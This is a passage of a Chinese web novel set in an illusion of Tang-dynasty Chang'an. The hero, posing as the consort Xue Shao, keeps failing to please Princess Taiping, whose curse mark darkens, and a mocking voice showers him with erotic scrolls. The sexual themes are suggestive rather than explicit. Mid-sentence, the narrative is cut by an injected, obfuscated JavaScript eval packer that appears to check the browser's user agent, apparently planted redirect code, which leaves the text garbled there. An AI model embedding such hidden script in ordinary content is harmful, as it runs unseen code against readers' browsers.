接连数日,刘皓南皆依循着凌霄子那番“需有新鲜趣味、不可令其生厌”的粗鄙点拨,搜肠刮肚,勉力尝试。他仿佛一个临时抱佛脚的懵懂学徒,被骤然扔进了最严苛的考场,而考题却是他最不擅长、甚至自幼所受教养极力规避的“风月”之道。 他不再敢全然依赖那夜揽月轩中无心插柳的、近乎本能的爆发,开始有意识地回想、笨拙地拼凑那些曾偶然瞥见、来自天南地北不同源头的、关于男女之事的零碎认知。有道藏丹书中语焉不详、充满隐语的“阴阳和合,坎离既济”之论,有早年混迹契丹时,在篝火旁、马背上听那些粗豪武士用最直白野性的草原比喻谈论女人,有不知从哪个走南闯北的西夏行商或神秘吐蕃喇嘛口中,流传出的几句让人半懂不懂、提及“脉轮”、“明点”、“乐空双运”的密法口诀。这些知识驳杂零碎,不成体系,大多如同隔雾看花、水中捞月,玄之又玄,此刻却成了他溺水时能抓住的、几根微不足道的浮木。 他试图将这些东鳞西爪的碎片认知,与那夜失控时身体记忆里的炽热结合起来,进行一种笨拙的、自以为是的“融合”与“提升”。今夜,他引她至后苑那处引自骊山温汤的“凝香汤”,氤氲水汽弥漫,他记起道书所言“上善若水,水利万物而不争,于至柔中见至刚”,便试图在这温润滑腻的汤泉中,重现那份恣意,动作刻意放得绵长,讲究起想象中的“阴阳调和、水火既济”。明夜,他命人在寝殿四角焚起浓烈的西域苏合香,记起某本杂书提过此香“馥郁浓烈,可通窍,助情兴”,便在浓得化不开的、几乎令人窒息的甜暖香气里,他的亲吻与抚触带上了几分从吐蕃密咒想象出的、强调“控制呼吸与节奏绵长”的意味,试图营造一种不同于以往的、缓慢而持久的张力。他甚至强忍着不适,搜刮记忆角落里,薛绍那等世家公子可能有的、那种风流而不失优雅的调情手段,搜肠刮肚地想出几句从宋人话本里看来的、文绉绂又含蓄的缠绵情话,在耳畔低声念出,自己先起了一层鸡皮疙瘩。 每一次,他都自认已极尽所能,融合了所知的一切“精要”,力求“形神兼备”。动作或许比那夜更“精巧”而不失力道,时机把握或许更“刻意”追求水到渠成,氛围营造或许更“周全”地调动了香、烛、景、物。他像一个初次登台的伶人,使出浑身解数演绎着剧本,同时紧张地审视着唯一观众——太平公主——的反应。 起初,这般刻意为之的“新花样”,确能在太平眼中掠起一丝讶异或新鲜的光,如同平静湖面投入一颗石子。她会配合地轻笑,眼波流转间带上些许兴味,或给予些许更热情的回应,如同一位宽容而富有鉴赏力的主人,欣赏伶人煞费苦心排演的一出新奇戏码,虽未必惊艳,却也觉得有趣。然而,这新鲜感如同投石入深潭,泛起的涟漪虽美,却消散得极快。不过两三次之后,那抹讶异便淡了,取而代之的是一种了然,甚至隐隐透出“果然又是如此”、“不过尔尔”的平静。她依然会接受他的亲吻与拥抱,姿态未曾抗拒,甚至堪称柔顺配合。但刘皓南分明感觉到,那柔顺之下,是一种抽离的、近乎审视的平静。她眸中曾因他失控野性而被骤然点燃的、亮得惊人的光芒,渐渐黯了下去,如同风中残烛。有时,甚至会在他刻意变换节奏、或说出那句自以为含蓄风雅的情话时,几不可察地掠过一丝极淡的、几乎难以捕捉的……无聊。仿佛在欣赏一场已知所有套路、缺乏真正惊喜与灵魂的陈旧演出,礼貌性地观看,内心却已神游天外。 最令他心惊胆战、如坠冰窟的,是在某次他自觉准备尤为“充分”、几乎耗尽了所有“库存”后的深夜。事毕,她默然片刻,未曾如往常那般与他温存低语,或是慵懒地靠着他。她只是极其自然、甚至带着一丝毫不掩饰的、深入骨髓的疲惫与厌倦,轻轻背转过身去,只留给他一个曲线优美却写满疏离的脊背。然后,在寂静得只剩下彼此呼吸与更漏滴答的帷帐内,他清晰无比地听到了一声几不可闻的、轻飘飘的叹息。 那叹息太轻了,像一片最薄的冰刃划过空气。 却又太重了,如同万钧玄铁,狠狠砸在刘皓南紧绷的心弦上,弦断音绝。 他僵在温暖华丽的锦被中,浑身血液似乎瞬间冷凝,指尖冰凉。为何?为何他倾尽所能,绞尽脑汁,她反而……心生厌倦,乃至不屑?难道他以为的、那夜偶然爆发的“狂野”,他这些时日努力学习的、自以为是的“花样”与“技巧”,在真正见识过、拥有过盛唐最极致风华、享受过最顶级欢愉、对“乐趣”阈值高到惊人的太平公主眼中,竟如此……乏善可陈,笨拙可笑,甚至,流于匠气,令人乏味?他想起宋人笔下那些含蓄蕴藉、辗转反侧、“发乎情止乎礼”的情愫表达,与此间大唐公主直白炽热、追求酣畅淋漓、崇尚力量与新奇刺激的期待相比,简直是隔了何止千年风烟,云泥之别,南辕北辙!他用宋人的壳,去套唐人的魂,如何能不方枘圆凿,徒惹讪笑? 更让他魂飞魄散、如坠无间寒狱的是,他几乎是颤抖着、借为她整理汗湿鬓发、拉拢滑落锦被的机会,指尖状似无意地、极轻极快地拂过她温热的后颈肌肤—— 那一点鲜艳欲滴、象征杨排风意识或某种关键禁锢的朱砂咒印,非但没有因他连日来弹精竭虑的“努力”而有丝毫变淡,反而……就在那声轻叹之后,在他指尖触及的刹那,肉眼可见地,颜色又凝实、深郁了一分!那抹红色,红得更加刺眼,边缘那一圈暗金色的、仿佛具有生命力的诡异纹路,甚至隐隐闪过一丝令人心悸的、冰冷幽暗的光芒! 原来如此!醍醐灌顶,却又寒气彻骨! 这诡异咒印,不仅吞噬情绪,更挑剔“品质”!敷衍的、不及格的、流于表面而无真心甚至引得对方厌烦的“欢愉”,非但不能滋养、破除它,反而会变成催化其生长的毒药与养料,让它扎得更深,锁得更牢,将杨排风的意识拖向更幽暗的深渊! 他的一切算计,一切刻意为之的“表现”,一切从故纸堆和道听途说中拼凑而来的“技巧”,在此刻都成了最辛辣、最无情的讽刺。他以为自己在努力“取悦”、在“破局”,实则是在亲手将排风,将他心心念念要救出的人,推向更万劫不复的禁锢!他用宋人的礼教拘束了自己的本能,却又用半懂不懂的“技术”玷污了唐人的奔放,落得个邯郸学步,东施效颦! ______ 太平公主府书房,墨香与清雅的安息香气息静静浮沉,却压不住室内无声流淌的凝滞。刘皓南正凝神静气,仿佛全身重量与心神都系于笔尖,执一管上品紫毫,在莹白如雪的雪浪笺上,为临窗而坐的太平公主描摹一幅《兰亭夜宴图》。他竭尽全力,笔法力求精妙秀润,效法的是薛绍可能师承的某派工笔,山石皴擦极尽细腻,人物勾描务求传神,衣袂飘飘间甚至刻意模仿了几分晋人“秀骨清像”的韵味,不敢有丝毫懈怠,唯恐笔意流露出一丝属于刘皓南的遒劲开阖,或属于契丹草原的疏旷粗犷。 太平斜倚在窗边的湘妃竹软榻上,身下垫着厚厚的、触手温软的西羌绒毯。她指尖漫不经心地捻着一枚冰纹白玉盘中剔透如水晶的葡萄,目光却并未停留在刘皓南笔下渐渐成形的画卷上,时而掠过他运笔时那过于平稳谨慎、以至于显得有些紧绷的手腕,时而飘向窗外那一弯清冷如钩的弦月,眸底深处,一丝难以捉摸的、沉郁的倦意,如深潭中的暗影,缓缓漾开,弥漫。 殿内只闻笔尖擦过纸面的细微沙沙声,以及铜壶滴漏单调而清晰的点滴。这过分的安静,酝酿着某种无声的、令人心悸的压力,远比疾言厉色更让人不安。 “薛郎,”她忽而开口,声音带着午后小憩初醒般的慵懒,尾音微微拖长,像带着钩子的羽毛,轻轻挠在人心上,却无端让人觉得发冷。她依旧没看画,目光落在自己染了鲜红蔻丹的、保养得宜的指尖,仿佛在研究那颜色的层次,“你这画技,近来临摹古帖,倒是愈发精进了。瞧这线条,工稳匀净,设色也清雅不俗,颇有几分前人遗风。” 刘皓南笔尖未停,心却猛地一悬,知道这绝非夸赞。果然,她话锋似被窗外渗入的、带着夜露寒意的微风带得轻轻一转,变得飘忽而锐利:“只是这曲水流觞的魏晋风骨,兰亭修禊的旷达超逸……比起阎立本大师当年奉敕所绘的《步辇图》里,吐蕃使臣禄东赞的恭谨机敏、太宗陛下的天威赫赫、侍臣的肃穆庄严,总觉少了些许……”她顿了顿,似在琉璃盘中精心挑选最锋利的碎片,最终轻轻吐出两个字,却重若千钧,“筋骨。嗯,少了点,扎进去的、透纸背的力道与气韵。” 刘皓南心头如遭重击,笔尖几不可察地一顿,一滴饱满的浓墨险些滴落在即将完成的画卷上,被他以极强的控制力强行稳住,腕骨都因用力而微微发白。阎立本!“变古象今,天下取则”的阎立本!其画以人物见长,尤重气韵风骨,笔力千钧!她以此相较,哪里是论画?分明是嫌他的才情仅止于“形似”,未达“神韵”,是拘泥笔墨的工笔匠气,而非胸有丘壑、笔带风雷、能绘出人物神魂与时代气象的大手笔!这弦外之音,更深的、几乎不加掩饰的暗示,莫非是嫌闺帏之中,他近日那些绞尽脑汁、刻意为之的“花样”与“技巧”,也同样流于表面,徒具其形,缺了那等直指人心、让人心旌摇曳乃至心神俱夺的“筋骨气韵”与真正令人沉迷的、野性的“锋芒”?她是在说画,更是在说人!说他刘皓南(或者说她眼中的薛绍)近来的一切表现,如同这画,精致,规矩,却……乏味,无力! 丹阳公主因驸马薛万彻“鄙朴无文,骑射之外一无所长,尤不谐于闺阁”,公主直告御前、终致和离的旧事,如同冰冷刺骨的警钟,在他脑中轰然回响,余音不绝。唐代公主于此道之主动、之挑剔、之权利之大,远超宋人想象。在宋人看来不可外扬的“房帏之事”,在唐代公主这里,可以是评价驸马、甚至决定婚姻存续的重要标准!太平贵为帝后掌上明珠,自幼见惯顶尖才俊,享受过最极致的风月欢愉,若无法在才情与风情两方面持续令其感到新鲜、深刻、满意,莫说那诡异咒印难解,只怕这“薛绍”的戏,这看似风光无限的“驸马”之位,也如累卵悬丝,随时可能崩毁!届时,被困于幻境中的他们,又将面临何等境况? 冷汗几乎瞬间湿透中衣。他立刻收敛心神,强压下翻涌的气血,面上迅速浮起恰到好处的、属于“薛绍”的、略带赧然与受教般的温和笑容,从善如流地搁下笔,语气诚恳甚至带着恰到好处的羞愧:“公主慧眼如炬,一语言中要害。是臣近日临帖,拘泥形迹,刻意求工,反失了自然天真,未能参透古人旷达超逸之神髓,徒惹公主见笑。这画……形神俱失,毁了也罢。”说着,竟真伸手,要将那幅耗费半日心血、已近完成的《兰亭夜宴图》揉皱弃置。 “欸,”她终于将目光从自己指尖移开,转落到他脸上,唇角噙着一丝辨不清是宽容还是淡漠的浅笑,眸光深深,似能洞穿他所有强作的镇定,“画倒不必毁。形已具,神嘛……可慢慢养。”她指尖优雅地捻起那枚葡萄,送入口中,轻轻一咬,甘甜的汁水仿佛瞬间染红了饱满的唇瓣,留下一抹诱人的水光,“本宫只是觉得,薛郎近日作画,与……处理一些旁的事一样,”她眼波似无意般掠过他紧绷的下颌线条,语气轻缓如叹息,“似乎太过刻意求工,步步皆循法度,反失了天然野趣,让人瞧着……有些累得慌。” 她将那枚葡萄咽下,拿起丝帕拭了拭指尖,动作慵懒:“罢了,本宫有些乏了,想去园中走走,透透气。薛郎自便吧。” 话音落,她已翩然起身,那袭华丽的裙裾拂过光洁的地面,未再看他或那幅画一眼,径直向殿外走去。留下刘皓南一人,对着满案笔墨,对着那句“刻意求工”、“失了天然野趣”的评语,如遭雷殛,浑身冰冷。 ______ 是夜,太平公主府寝殿。夜色已深如浓墨,烛影在轻柔的鲛绡帐上摇曳出一片暖昧的昏红。刘皓南与太平对坐于一方珍贵的紫檀木嵌螺钿棋案前,案上散落着西域进贡的琉璃七宝棋子,红如鸽血,白如凝脂,碧如春水,在跳动的烛光下流转着迷离梦幻的华彩。殿外,一轮明月高悬,清辉如练,水银般泻地;殿内,瑞脑金兽口中吐出袅袅的、带着甜暖花香的青烟,氤氲出一室看似温馨静谧的氛围。 然而刘皓南心知肚明,这温馨表象之下,是以公主府朱红高墙、重重殿宇为界的无形牢笼。每一道阴影后,每一幅帷幕旁,都可能藏着那双无处不在、冰冷窥视的“眼睛”。他必须在“驸马应有的规矩方圆”与“公主想要的鲜活情趣”之间,寻一个极度危险的平衡点,于螺蛳壳中做道场,刀尖上起舞。 “薛郎,”太平慵懒地探出纤纤玉指,指尖染着鲜红的蔻丹,捻起一枚血红欲滴的玛瑙棋子,在指间漫不经心地转动把玩。她今日梳了慵懒妩媚的堕马髻,云鬓松挽,只斜簪一支通体碧绿、毫无杂质的玉簪,几缕发丝松垂颊边,眼波流转间,带着几分审视,几分漫不经心的探究,更有一丝不易察觉的、因长久重复而生的倦怠,“听闻近日西市有波斯胡商,新排演了一出《秦王破阵乐》,不光鼓乐雄壮,气吞山河,还别出心裁,混入了龟兹的胡旋舞,羯鼓震天响,胡姬旋舞如飞,金铃作响,很是热闹有趣。你近日,整日陪我在府中对弈、作画、品香、调琴,”她顿了顿,指尖棋子“嗒”一声轻叩在棋盘边缘,声音在寂静中格外清晰,“日子倒是清净雅致,可莫不觉得……憋闷得慌?” 她语调轻缓,仿佛闲话家常,却字字如针,轻轻敲在刘皓南紧绷的心弦上。他瞬间警醒:她是在试探,更是暗示,或许已是不满的前兆。史载太平公主早年虽看似安于府邸、相夫教子,但其对新鲜、热闹、刺激、掌控感的渴望从未熄灭,及至权势鼎盛时,更是肆无忌惮,纵情享乐。我若只一味守礼,营造这“岁月静好、举案齐眉”的假象,必令其日渐生厌,觉我平庸无趣,如同鸡肋;可若真如那夜揽月轩般,全然放纵本能,释放属于刘皓南的野性,又恐被幕后那无所不在的“耳目”窥破“薛绍”性情有异,招来不测。需得在“驸马应有的规矩”与“公主想要的新奇情趣”之间,寻一个既大胆又隐秘、既刺激又不出格的平衡点,如同在万丈深渊之上走钢丝,稍有不慎,便是万劫不复。 心思电转间,他忽而抬眼一笑,那笑容里努力注入了属于“薛绍”的、世家子弟特有的、恰到好处的风流佻达,试图冲淡连日来“刻意求工”留下的僵硬印象。他执起一枚温润莹白的玉棋子,并未直接回应她关于“憋闷”的问话,而是手腕一翻,“啪”一声清越脆响,将棋子落在棋盘一处看似无关紧要的边角,声音带着几分故弄玄虚的轻快:“公主若嫌这黑白纵横、方寸之间的规矩太过板正憋闷,何不……将这棋局,换个玩法?添些彩头,增些趣味?” 不待她回应,他已扬声,语气是驸马都尉应有的、不容置疑的淡然:“都退下,殿外候着,无召不得入内,亦不必近前伺候。” 待侍立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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棋至酣处,琉璃棋子碰撞声清脆,暖昧气息在昏暗光线下缓缓升腾,气氛微醺。刘皓南忽地从袖中取出一物——一支金累丝嵌红宝的并蒂牡丹金簪,那牡丹雕刻得层层叠叠,瓣蕊分明,在昏暗光线下,红宝流光溢彩,金丝璀璨夺目。他将其轻轻放在棋盘中央,那枚金制“将军旗”之侧,极力模仿着想象中薛绍那等风流子蛊惑人心时的作派,声音压得低而醇厚,带着恰到好处的沙哑与诱哄:“臣以此簪为注。若公主此局得胜,臣……便为公主,于那‘星月泉’畔,沐浴清辉,抚琴一曲《春江花月夜》,以贺胜局,聊博公主一笑,如何?” 他说话时,目光意有所指地、极其短暂地瞥向寝殿连接后苑的雕花门扉方向,门扉虚掩,隐约可见庭院角落,假山嶙峋掩映,藤萝郁郁垂挂,其后正是府中最为隐秘、引骊山温泉活水而成的一处小巧汤池,名曰“星月泉”。此地僻静,温泉氤氲可掩身形,水声潺潺可盖低语,或可最大程度避开那些无处不在的窥探,进行更“深入”的试探。 太平眸光在他刻意摆出的、混合着期待与隐秘邀请的脸上,和那支价值不菲、做工精巧的金簪之间流转片刻,唇边那抹辨不清意味的笑意深了些许,未置可否,只伸出纤指,捻起一枚属于自己的碧色琉璃棋,在指尖转了转,然后,带着某种了然的、近乎漫不经心的姿态,清脆落子于绢上某处“街巷”,声音依旧慵懒,却多了点别的:“哦?那本宫……倒要看看,薛郎的琴艺,是否如你这棋路一般……出人意料,令人惊喜。” 夜深人静,万籁俱寂,唯有一轮明月高悬中天,清辉毫无保留地洒在“星月泉”蒸腾的袅袅白雾上,恍如仙境,又如梦境。刘皓南确实携来了琴,一具桐木仲尼式古琴,琴音清越通透。他于池畔一方被温泉水汽浸润得光滑的青石上坐下,信手弹拨,《春江花月夜》的曲调便潺潺流出,融入月色与水声。琴音被他刻意压得低沉婉转,不追求高亢激昂,反而与温泉泊泊的流淌声、夜风吹拂藤叶的沙沙声混在一处,更添幽谧朦胧,意在烘托气氛,而非炫技。 他并未如寻常设想那般,急不可耐地借机“亵玩”或直奔主题,而是将世家公子那套“风流在骨不在皮”、“重在氛围与情调”的准则发挥到极致。琴音间歇,他持琉璃夜光杯,为她斟一盏来自西域的琥珀色葡萄酒,递送时,手腕与手指“无意”地擦过她浸在温热泉水中、光滑如缎的臂弯,带起一阵细微的战栗。他偶尔俯身,指尖似要掠开飘落水面的粉色花瓣,却只在温热的水面激起一圈圈细微的、荡开的涟漪,指尖与她的肌肤在水下若即若离,如同游鱼轻触。一切亲密的举动与暗示,皆在氤氲水汽、迷离月色与潺潺水声的掩护下进行,看似大胆挑逗,实则极有分寸,充满了悬而未决的期待与若即若离的诱惑,将想象的空间留到极致。他心中暗忖:风情在骨不在皮,艳情在虚不在实。真正的刺激,在于这朦胧暖昧中无限扩张的想象,在于这悬而不决的期待,而非赤裸裸的暴露与索取。此乃风月中至高境界,当可投其所好。 借着她似乎被这精心营造的氛围烘托得眼波迷离、颊生红晕、身体微微放松之际,他觑准一个琴音袅袅将散未散的时机,以精妙绝伦、近乎踏雪无痕的武学身法,如一片落叶般悄无声息地滑入微烫的泉水中,竟未激起多大水花,只有一圈轻柔的涟漪荡开。泉水恰到好处地舒缓肌理,也掩盖了许多细微的声响与动作。两人在池中依偎,借着水波流动、光影变幻,他尝试引导、变换着姿态,极尽缠绵之能事,自觉已将世家子的风流手段与武者对身体精妙绝伦的掌控力结合得天衣无缝,每一次触碰、每一次引领都力求“恰到好处”,既不过分孟浪,又不失主导,务求让她感受到一种“被精心侍奉”的愉悦。 事毕,温泉水渐渐平息,只余细微波澜轻轻拍打池壁。刘皓南心中记挂要事,强自平复喘息,借为她擦拭湿透的、如海藻般铺陈在白皙背脊上的长发之机,指尖状似无意、极轻极快地拂过她温热的后颈肌肤—— 触手温热,带着泉水的润泽。但那一点朱砂咒印,颜色依旧殷红如血,纹丝不动。既未因他这番“精心设计”的欢愉而有丝毫变淡的迹象,也……幸运地,未曾加深。 刘皓南心头猛地一沉,仿佛被温泉滚烫的水汽瞬间噎住了喉咙,窒息的冰冷感从脚底直冲头顶。他这般弹精竭虑,舍弃了本能的冲动,专意模仿、揣摩“薛绍”可能拥有的、最为高雅风流的手段,营造氛围,控制节奏,自认为已摸到了门径,甚至暗自期许能有所获……竟是全然做了无用功?不,比无用功更糟。他清晰地看到,怀中之人虽然依旧柔顺地靠在他肩头,闭着眼,仿佛沉溺于余韵,但眉心那一道极淡的、几乎看不见的折痕,并未舒展。她的慵懒与沉默之下,透出的是一种更深沉的、几乎要满溢出来的……意兴阑珊,甚至是一丝不易察觉的、因期待落空而产生的淡淡厌倦。他的一切“设计”,在她眼中,或许依旧只是一场编排尚可、却缺乏灵魂与真正激情的演出。 夜风吹过藤萝,带起一丝凉意,穿透温泉水汽,拂在皮肤上。刘皓南望着池中因微风而晃动破碎的月影,第一次对自己选择的这条“模仿薛绍、刻意求工”的道路,产生了深入骨髓的怀疑与寒意。他学得了薛绍可能有的形,甚至自以为揣摩、复原了薛绍应有的风流神髓,可这“神髓”在真正的、见识过帝国最顶极风月、拥有过最澎湃生命的太平公主面前,似乎只是一袭华美却不合体的旧时衣裳,徒惹讪笑,毫无吸引力。而真正的破解之道,究竟在何方?那诡异的咒印,又究竟要以何种“欢愉”或“满足”为食,方能松动、瓦解? 月影西斜,泉水温热依旧,他的心却一点点沉入冰冷的深渊。前路茫茫,他似乎每一步都踏在错误的荆棘之上。 47. 盛唐风流与上官婉儿 公主府庭院,晨光熹微,薄雾如纱,尚未散尽。院落角落几丛湘妃竹,梢头犹缀着夜露凝成的珠泪,在微光下闪烁不定。刘皓南独坐于一方冰凉的石凳之上,双目紧阖,眉宇间锁着难以化开的疲惫与沉郁。连日来,他周旋于“太平公主”那看似慵懒、实则挑剔敏锐、喜怒无常的脾性之间,每一刻都需绷紧神经,揣摩她的心思,迎合她的喜好,却又不得不在“薛绍”的框架内行事,纵是他内力深厚、心志坚韧远超常人,也觉心神耗损巨大,气血隐隐浮动。更兼他入境前强破星衍禁制所受的内伤始终未能痊愈,此刻在这幻境中劳心劳力,更是牵动旧患,胸腹间时而隐隐作痛,仿佛有无数细针在缓慢攒刺。他试图凝神入定,将那些刻意为之的风月手段、那些殚精竭虑却收效甚微、甚至适得其反的算计暂且压下,稍作喘息。 就在他气息将凝未凝、心神最为脆弱松懈的关口—— “嗤啦——!” 一道尖锐如裂帛、又似琉璃猝然粉碎的巨响,毫无征兆地撕裂了庭院清晨的静谧!那声音并非来自某一方向,而是仿佛自虚空每一寸挤压而来,直刺耳膜! 刘皓南猛地睁眼,眼中精光一闪而逝,随即被惊愕取代。但见漫天绢帛画卷,如同被一只无形巨手粗暴地揉捏、撕扯、抛弃后,胡乱地、劈头盖脸地向他砸落、飘散!这些画卷材质无一不华贵非常,淡金云纹笺流淌着皇家气派,素白熟绢细腻如少女肌肤,甚至还有罕见的碧色砑花绫,在晨光下泛着幽冷的光泽。然而此刻,这些价值不菲的载体,却像市井废弃的草纸、败絮般被随意丢弃、翻滚、碰撞,杂乱无章地铺满了青石板地,甚至挂在了颤动的竹枝上,一片狼藉。 目光所及,画卷之上无不以极细的金线、银丝乃至五彩斑斓的丝线,绣出种种男女秘戏之景。其姿态之大胆泼辣,构思之奇诡放纵,想象力之狂野不羁,远非师叔凌霄子顺来的那本所谓“珍藏”所能企及万一。有仿吴道子“吴带当风”笔意的飞天舞姬与胡僧在祥云间痴缠,衣袂飘举,线条流畅如飞;有类周昉“绮罗人物”风格的丰腴贵妇与戎装武将于华宴间隙暗通款曲,神态慵懒而欲望流转;更有甚者,描绘秋千架上、悬崖边缘、甚至佛堂帷幕间的幽会,场景惊心动魄,人物情态却酣畅淋漓。更刺目的是,这些图画并非孤立呈现,往往旁注着清秀俊逸、风骨俨然的行楷批点,或题香艳露骨的诗句,或作狎昵却不失优雅的品评,字里行间透着一股属于盛唐顶级文士圈层的、将情欲之事堂而皇之置于艺术殿堂品鉴的趣味与底蕴,其尺度之开、言辞之直白,令来自后世、深受儒家理学熏陶的刘皓南瞬间血气上涌,耳根发热。 “北汉那个不开窍的榆木疙瘩!蛮子!” 一道女声自虚空炸响,清越原本该如玉石相击,此刻却因饱含怒意而显得尖利刺耳,再无半分往日刻意遮掩声线的意图。那声音里裹挟着毫不掩饰的鄙夷与嫌弃,更有一股积压已久、此刻终于喷薄而出的气急败坏,仿佛耐心已被耗尽的师长面对愚钝不堪的学生。 “好好睁开你那被宋人迂腐气糊住的眼睛,看看!仔细研究研究!你那些遮遮掩掩、换汤不换药的拙劣把戏,扭扭捏捏的作态,老娘我闭着眼睛都能把你下一步的蠢样子画出来!” 声调陡然拔高,如同价值连城的玉磬被重锤狠狠敲击,发出刺耳的裂音,“还学人搞什么‘移步换景’?效仿什么‘借物传情’?笑破肚皮!简直沐猴而冠,画虎不成反类犬!我盛唐儿女,行事但求一个酣畅淋漓,一个直抒胸臆!要的是生命本真的怒放,是真性情的大喜大悲、大起大落!你那一套算计到骨子里、步步权衡、满是匠气的宋人作派,在公主眼里,连清粥小菜都算不上,寡淡无味,矫揉造作,徒惹人烦!” 刘皓南心头如被烧红的烙铁狠狠烫了一下,一股混杂着羞耻、惊怒、以及连日压抑憋闷的火焰“轰”地直冲头顶!他猛地自石凳上弹起,动作牵动内腑伤势,喉头顿时涌上一股腥甜,被他强行压下。连日心神损耗加上此刻急怒攻心,竟让他身形微不可察地一晃。手已本能地按上腰间佩剑的剑柄(尽管他知道在此地这可能无用),厉声喝道,声音因骤然发力与内息紊乱而显得沙哑低沉:“何方妖人!藏头露尾,安敢在此狂言辱我?!” “狂言?!” 那女声冷笑更甚,字字如淬毒的冰锥,带着彻骨的寒意与居高临下的不屑,狠狠扎入刘皓南耳中:“小子!别再白费力气琢磨公主脖子上那点朱砂是什么路数了!就凭你,和你那个不成器、只会偷鸡摸狗的师叔,那点拾人牙慧、连皮毛都没摸到的微末道行,在我盛唐真正的风月无边、气象万千面前,连稚子描红都不如!邯郸学步,东施效颦,简直污了公主的眼,辱没了这幻境的气韵!” 话音一顿,威胁之意如泰山压顶般轰然压下,带着最后通牒的冷酷意味,不容置疑:“公主的耐心……已经快耗尽了!她的兴致,如同将熄的烛火!若她再觉得无趣下去,心生厌弃……哼,你就等着给你的心肝宝贝杨排风收魂吧!魂飞魄散,永堕这虚妄幻境,不得超生!想悟透什么是真正的盛唐气象、风流底蕴?下辈子投个好胎,或许有机会窥得一斑!” 话音未落,那无形的声浪便如潮水般急速退去,消失得无影无踪,仿佛从未出现。只留下满庭狼藉的、奢华却不堪的画卷,和一片死一般的、令人窒息的寂静。唯有几张轻薄的画稿,被清晨微冷的凉风卷着,翻滚着擦过他冰冷的靴面,上面金线银丝绣出的妖娆缠绵身影,在逐渐明亮的晨光下,折射出刺眼而嘲讽的光芒。 刘皓南僵立原地,浑身血液仿佛瞬间冻结,连指尖都麻木了。那女声最后几句话,尤其是“盛唐底蕴”、“真正的风月无边气象万千”,如同九天惊雷在他脑中反复炸响,震得他神魂俱荡! “盛唐……底蕴?她竟直言不讳,此阵源于‘盛唐’!非是寻常幻术,而是承载了一个时代的气韵精神?!” 他目光骇然地再次扫过地上那些画卷,这一次,看得更为仔细——那人物丰腴饱满、充满生命力的体态,那服饰华丽精美、纹样繁复的大唐风格,那场景构图磅礴大气、充满戏剧张力,乃至旁边那清俊行楷批注中,偶尔流露出的、属于宫廷顶级文士的狎昵与才情……无不指向一个他从未敢细想的、辉煌灿烂到极致、却也奔放恣肆到恐怖的源头。如此了解宫廷奢华做派,如此熟悉太平公主的隐秘癖好与审美,又能将情欲之事以如此“艺术”而直白的方式呈现……莫非这布阵者,竟是宫中那位曾执掌诏命、文采风流冠绝一时、深得女皇与太平公主信任倚重的内舍人,上官婉儿?可李淳风仙逝之后,世间竟还有人能具此通天手笔,布下如此真实到令人绝望、细节丰满到可怕的幻境?又为何……偏偏是针对排风? 晨光彻底驱散了薄雾,冷冷地照在他苍白如纸的脸上,映出眼底深重的疲惫与惊悸。那一地杂乱无章、却又奢华无比的“教材”,如同一面扭曲而清晰的镜子,残酷地映照出他连日来的所有“努力”、所有算计、所有模仿,是何等可笑、徒劳与不合时宜!他试图用宋人的含蓄框架去盛放唐人的奔放灵魂,用后世的礼法尺子去丈量前朝的风流天地,简直是南辕北辙,缘木求鱼! 就在他心神剧震、几乎难以自持之际,环佩轻响,带着晨间特有的清越。太平公主披着一件胭脂色蹙金海棠纹的华美晨褛,乌发未梳,仅以一根长簪松松挽着,踏着微湿的露水,袅袅娜娜地步入庭院。她似乎对满地的“不堪”视若无睹,目光悠然掠过那些散落的画卷,最终落在刘皓南身上,唇角弯起一抹似笑非笑、难以捉摸的弧度。她俯身,用染了鲜红蔻丹的纤指,拾起离她最近的一幅——正是那秋千架上,男女衣衫半褪、姿态惊险又香艳的绢帛,指尖轻轻点向画中男子腰间若隐若现的一处青黑色狼头纹身,然后抬起眼,波光潋滟地看向刘皓南。 “薛郎~” 她凑近他,温热的、带着晨间花露清香的呼吸,拂过他紧绷的耳廓,声音甜腻如蜜,却让刘皓南寒毛直竖,“仔细瞧瞧,这画中儿郎腰上的青狼……还有这用墨的习气,狼牙笔触的顿挫……这不是你当年亲手临摹的、那卷从龟兹商队重金购得的《西域春荡图》么?连拓跋将军赠你的那方狼牙古砚的独有墨渍,都还晕在绢上呢……” 她眼波流转,带着毫不掩饰的审视与一丝戏谑,用那画轴冰凉的玉柄,轻轻挑起他僵硬的下颌,迫使他与自己对视,“如今翻出来,铺得满园皆是,倒叫下人们看了笑话——” 她尾音拖长,带着促狭,“可是嫌昨夜星月泉边的‘胡旋舞’……不够尽兴,想温习些更……野性难驯的花样?” 刘皓南如遭雷击,喉结剧烈地上下滚动,却发不出任何声音。他这才惊觉,自己方才心神大乱,竟未及细看,此刻经她“提醒”,目光急扫,果然在几幅画作不起眼的角落,看到了属于契丹部族的狼首徽记,与旁边那方鲜红的“薛绍私印”并列!这分明是当年两国交好、互市频繁时,薛绍为投太平所好,仿北地风情所作的“戏笔”!可这“戏笔”的内容,其狂放大胆,远超他想象!而太平此刻的言语,更将这种“私密分享”的意味,推到了令人窒息的亲昵与掌控之中。 太平公主却已不再看他瞬间苍白的脸色,慵懒地倚向旁边一杆修竹,晨褛的纱袖滑落,露出半截凝脂般的小臂。她竟低声哼起一首曲调,那调子旖旎婉转,又带着明显的龟兹乐风,靡靡之音,勾魂摄魄。哼了两句,她眼波斜睨过来,声音更柔,更腻:“可还记得……新婚燕尔时,你带我去骊山那处临崖的别苑……那架悬在万丈深渊上的紫藤秋千?” 她足尖似无意地,轻轻勾起另一幅描绘悬崖秋千上男女痴缠的画绢,让其完全展开在刘皓南眼前,声音甜得能沁出蜜来,内容却令人心惊胆战,“白日里……云涛就在脚下翻滚,苍鹰在耳边尖啸,你偏要学什么鲜卑儿郎‘马背征伐’的悍勇……吓得本宫鬓边那支累丝嵌宝金鸾钗直直坠下深涧,连个回声都听不见……你却搂着本宫,在风里笑着说……‘坠玉声,比琵琶裂帛,更脆三分’……” 